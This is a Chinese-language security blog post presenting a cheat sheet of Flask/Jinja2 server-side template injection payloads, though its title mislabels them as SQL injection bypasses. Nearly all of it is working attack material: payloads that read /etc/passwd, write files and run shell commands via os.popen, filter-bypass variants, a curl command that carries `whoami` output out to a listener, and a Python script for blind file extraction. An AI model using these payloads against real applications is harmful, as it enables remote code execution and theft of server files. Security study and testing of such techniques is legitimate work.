FlaskJinja2 SQL注入绕过姿势

  • A+
所属分类:网络安全文章
腾讯云网站解决方案帮您轻松应对建站成本高/网络不稳定/安全漏洞多/单点部署无冗余等常见问题,满足电商/直播/教育等日均PV1-100万的网站部署需求。


成都、重庆区云产品3折特惠,全新机型计算提速,最高睿频可达3.7GHz

FlaskJinja2 SQL注入绕过姿势

0x00 获取基本类

首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如request):
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]
可以借助__getitem__绕过中括号限制:
''.__class__.__mro__.__getitem__(2)
{}.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(8)
下面基本类就用object代替,测试时将object换成上面任意一个

0x01 文件操作

object.__subclasses__()[40]为file类,所以可以对文件进行操作
读文件:
object.__subclasses__()[40]('/etc/passwd').read()
写文件:
object.__subclasses__()[40]('/tmp').write('test')

0x02 执行命令

object.__subclasses__()[59].__init__.func_globals.linecache下直接有os类,可以直接执行命令:
object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
object.__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

0x03 ByPass

1. 过滤[
读文件:
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
执行命令:
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
2. 过滤引号
先获取chr函数,赋值给chr,后面拼接字符串就好了:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
借助request对象(推荐):
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
执行命令:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
3. 过滤双下划线__
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

0x04. 过滤{{

可以利用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
相当于盲命令执行,利用curl将执行结果带出来,如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}

SQL盲注脚本

  1. # -*- coding: utf-8 -*-
  2. import requests
  3. url = 'http://127.0.0.1:8080/'
  4. def check(payload):
  5.     postdata = {
  6.         'exploit':payload
  7.         }
  8.     r = requests.post(url, data=postdata).content
  9.     return '~p0~' in r
  10. password  = ''
  11. s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
  12. for i in xrange(0,100):
  13.     for c in s:
  14.         payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
  15.         if check(payload):
  16.             password += c
  17.             break
  18. &nbsp;   print password
CE安全网

发表评论

您必须登录才能发表评论!